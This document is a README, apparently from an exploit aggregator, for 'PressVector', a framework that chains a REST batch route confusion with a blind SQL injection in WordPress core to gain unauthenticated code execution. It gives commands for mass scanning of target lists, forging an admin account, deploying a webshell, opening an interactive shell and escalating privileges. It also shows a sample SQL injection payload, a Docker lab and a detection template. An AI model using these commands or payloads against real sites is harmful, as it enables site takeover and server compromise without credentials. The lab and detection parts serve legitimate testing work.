## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VULNQUEST58-PRESSVECTOR
# 𧨠PressVector β WordPress CVE-2026-63030 / CVE-2026-60137 Exploitation Framework
   
**β‘ Advanced Pre-Auth RCE & Blind SQLi Exploitation Framework for WordPress Core**
    
* * *
## π Overview
**PressVector** is a comprehensive, fully automated exploitation framework targeting **CVE-2026-63030** and **CVE-2026-60137** β two critical vulnerabilities in **WordPress core** that together allow unauthenticated remote code execution.
The framework chains REST Batch Route Confusion with a blind SQL injection to forge administrator sessions, deploy webshells, and execute arbitrary OS commands β **all without any credentials**.
> β οΈ **For authorized security testing and educational purposes only.**
* * *
## π What is CVE-2026-63030 (wp2shell)?
**CVE-2026-63030** is a critical pre-authentication RCE vulnerability in WordPress core, discovered by **Adam Kues** (Assetnote / Searchlight Cyber). The exploit chains two independent vulnerabilities:
CVE| Advisory| Type| Impact
---|---|---|---
**CVE-2026-63030**| GHSA-ff9f-jf42-662q| REST Batch Route Confusion| Pre-Auth RCE
**CVE-2026-60137**| GHSA-fpp7-x2x2-2mjf| `author__not_in` SQL Injection| Pre-Auth Blind SQLi
### π₯ Exploitation Chain
root@kitploit:~
[Unauthenticated Attacker]
β
βΌ
[1] REST Batch Route Confusion (/batch/v1)
β Bypass auth context β treat batch as internal
βΌ
[2] Blind SQLi via author__not_in parameter
β Time-based binary search extraction
βΌ
[3] Extract table prefix + admin user ID
β
βΌ
[4] Forge admin user via UNION-based injection
β Insert into wp_users + wp_usermeta
βΌ
[5] Authenticate & Upload webshell via Media API
β
βΌ
[6] Remote Code Execution π―
* * *
## π Affected Versions
WordPress Version| CVEs Applicable| Impact| Status
---|---|---|---
6.8.0 β 6.8.5| CVE-2026-60137| π‘ Blind SQLi (High)| β Vulnerable
6.9.0 β 6.9.4| CVE-2026-63030 + CVE-2026-60137| π΄ Pre-Auth RCE (Critical)| β Vulnerable
7.0.0 β 7.0.1| CVE-2026-63030 + CVE-2026-60137| π΄ Pre-Auth RCE (Critical)| β Vulnerable
7.1-alpha / 7.1-beta1| CVE-2026-60137| π‘ SQLi (High)| β Vulnerable
6.8.6+ / 6.9.5+ / 7.0.2+| β| β
Patched| β
Safe
* * *
## π¦ Installation
root@kitploit:~
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only β Python 3.7+ required
python pressvector.py --help
* * *
## π οΈ Tools Included
### 1οΈβ£ `pressvector.py` β Main Exploitation Framework
Full-featured exploitation framework with 4 modes of operation.
#### π `scan` β Multi-target Vulnerability Scanner
Fast, multi-threaded scanner to detect vulnerable WordPress installations at scale.
root@kitploit:~
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
#### β
`check` β Blind SQLi Confirmation
Confirm time-based blind SQL injection on a single target with timing calibration.
root@kitploit:~
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
#### π₯ `exploit` β Full RCE Exploitation Chain
Complete exploitation: forge admin β deploy webshell β execute commands.
root@kitploit:~
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
#### πΊ `privesc` β Privilege Escalation
Attempt local privilege escalation after achieving RCE.
root@kitploit:~
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
* * *
### 2οΈβ£ `pressvector-wp2shell-detection.yaml` β Nuclei Detection Template
A production-ready **Nuclei** template for large-scale passive detection.
root@kitploit:~
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
**Template features:**
* π Multi-source version detection (meta generator + RSS feed fallback)
* π‘ REST API namespace fingerprinting
* π― Batch route accessibility probing
* π Dynamic output: version, CVE type, attack vector
* * *
## π§ͺ Lab Environment (Docker)
A fully automated, containerized penetration testing lab is included for safe, isolated testing of these vulnerabilities.
### Quick Start
**Windows (PowerShell):**
root@kitploit:~
cd pressvector-lab
.\start-lab.ps1
**Linux / macOS:**
root@kitploit:~
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
_(Wait ~60-90 seconds on first run for the WP-CLI installer to set up all WordPress sites automatically)._
### Lab Services & Ports
Port| Service| WordPress Version| Vulnerability / Status
---|---|---|---
**8080**| Target 1| 6.8.5| CVE-2026-60137 (Blind SQLi only) π΄
**8081**| Target 2| 6.9.4| CVE-2026-63030 (Pre-Auth RCE) π΄
**8082**| Target 3| 7.0.1| CVE-2026-63030 (Pre-Auth RCE) π΄
**8083**| Reference| Latest| Patched / Safe Reference β
**8084**| PHPMyAdmin| β| DB Management Tool
**8085**| Lab Dashboard| β| Web UI with target status & copyable commands π₯οΈ
**Admin Credentials:** `admin` / `admin123`
**MySQL Root Password:** `root`
### Verification & Automated Testing
You can verify the entire lab state and exploitation paths using the automated test suite:
root@kitploit:~
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
### Lab Control Commands
* **Stop lab (keep data):** Run `stop-lab.sh` or `.\stop-lab.ps1`
* **Reset lab (wipe data & clean build):** Run `reset-lab.sh` or `.\reset-lab.ps1`
For more advanced instructions and troubleshooting, see the Lab README.
* * *
## ποΈ Architecture
root@kitploit:~
PressVector/
βββ pressvector.py # Main exploitation framework (v3.0.0)
β βββ SSLContext # TLS context with cert bypass
β βββ HTTPClient # Session-aware HTTP client + proxy
β βββ BlindSQLIEngine # Time-based blind SQLi (binary search)
β βββ PreAuthRCE # Full RCE chain engine
β β βββ _discover_batch_endpoint() # REST /batch/v1 discovery
β β βββ detect_vulnerability() # Timing oracle calibration
β β βββ extract_table_prefix() # DB table prefix extraction
β β βββ locate_admin() # Admin user ID discovery
β β βββ create_admin_user() # UNION-based admin forge
β β βββ deploy_webshell() # Plugin zip upload + shell deploy
β βββ PrivilegeEscalation # Local privesc post-RCE
β
βββ pressvector-wp2shell-detection.yaml # Nuclei detection template
β
βββ pressvector-lab/
βββ docker-compose.yml β Orchestrates all services
βββ wp-init/
β βββ entrypoint.sh β WP-CLI auto-installer
β βββ init-db.sql β Creates databases for all instances
βββ lab-dashboard/
β βββ index.html β Dark-themed web UI (port 8085)
βββ tests/
β βββ test_sqli.py β Blind SQLi validation
β βββ test_rce.py β RCE chain step-by-step test
β βββ run_all_tests.py β Master test runner + JSON report
βββ targets.txt β Pre-filled target list
βββ nuclei-test.sh β Nuclei template validator
βββ start-lab.sh / .ps1 β Start the lab
βββ stop-lab.sh / .ps1 β Stop the lab
βββ reset-lab.sh / .ps1 β Wipe and rebuild from scratch
* * *
## π§ Advanced Usage
### Proxy Integration (Burp Suite)
root@kitploit:~
# Route all traffic through Burp Suite
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
python pressvector.py privesc http://target.com --proxy http://127.0.0.1:8080
### Custom Timeouts for Slow Targets
root@kitploit:~
python pressvector.py check http://target.com --timeout 60 --delay 3.0
python pressvector.py exploit http://target.com -c "id" --timeout 60
### JSON Output for Automation
root@kitploit:~
python pressvector.py scan -f targets.txt --json | jq '.[] | select(.vulnerable==true)'
## π Technical Details
### Blind SQL Injection Technique
The injection leverages `author__not_in` in the WordPress REST API categories endpoint, wrapped inside a nested batch request to bypass authentication context:
root@kitploit:~
{
"requests": [
{"method": "POST", "path": "http://:"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "GET", "path": "http://:"},
{"method": "GET", "path": "/wp/v2/categories?author_exclude=SELECT IF((1=1),SLEEP(2),0)"},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
### Admin Forge via UNION Injection
The framework injects forged rows directly into `wp_users` and `wp_usermeta` tables using UNION-based SQL injection through the same batch route, effectively creating a new administrator without touching the login interface.
* * *
## π References
* wp2shell Research β Searchlight Cyber / Assetnote
* GHSA-ff9f-jf42-662q β REST Batch Route Confusion
* GHSA-fpp7-x2x2-2mjf β author__not_in SQLi
* WordPress Security Advisory
* NVD β CVE-2026-63030
* * *
## β οΈ Legal Disclaimer
> **IMPORTANT:** This tool is intended for **authorized security testing, penetration testing, and educational research only**.
>
> * β
Only use on systems you **own** or have **explicit written permission** to test.
> * β Unauthorized access to computer systems is **illegal** and punishable by law.
> * β The developer (**Vulnquest**) assumes **no responsibility** for any misuse or damage caused by this software.
>
>
> **Use responsibly, ethically, and within the bounds of applicable law.**
* * *
## π€ Author
**Vulnquest**
GitHub: @vulnquest58
Repository: github.com/vulnquest58/PressVector
* * *
PressVector v3.0.0-Exploit β Built for security researchers and penetration testers